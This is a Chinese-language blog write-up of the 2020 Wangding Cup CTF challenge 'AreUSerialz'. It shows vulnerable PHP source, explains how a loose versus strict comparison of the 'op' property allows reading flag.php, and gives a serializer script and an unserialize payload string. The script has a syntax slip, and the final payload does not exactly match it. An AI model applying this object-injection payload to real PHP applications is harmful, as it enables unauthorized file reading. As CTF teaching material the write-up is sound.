cluren's Studio.

每日一题:2020年网鼎杯反序列化题目AreUSerialz复现

字数统计: 595阅读时长: 2 min
2021/02/18

考点:反序列化、PHP弱类型

题目复现地址:https://www.ctfhub.com/

打开题目给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

对代码进行分析得到解题思路:通过read()函数包含flag.php来获取flag。

代码分析:

通过GET方式接收到str的值,然后通过函数is_valid($str)判断所传入的每一个字符的ASCII值进行判断是否在32到125之间。

如果符合条件进行下一步,对str进行反序列化,反序列化结束会触发__destruct()函数,__destruct()内对op做判断,如果op等于2(三个等号需要满足两个变量的值相等并且类型相同)则会对op赋值为1,如果判断op不等于2,判断执行完毕后会进入process()函数。

process()函数先是判断op的值是否等于1,等于1就进去write()函数,等于2就会进入read()函数,读取flag.php的内容当然是要进去read()函数,因此上一步__destruct()函数中要让op==="2"的判断不成立,并且使这一步的op=='2'成立,所以给op赋值init类型2(op=2而不是op='2')。

进去read()函数直接读取flag.php就可拿到flag。

运行以下代码将FileHandler序列化得到payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class FileHandler{

public $op=2;

public $filename="flag.php";

public $content=;

}

$a = new FileHandler();

$str = serialize($a);

echo $str;

?>

str=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:8:”flag.php”;s:7:”content”;i:1;}

CATALOG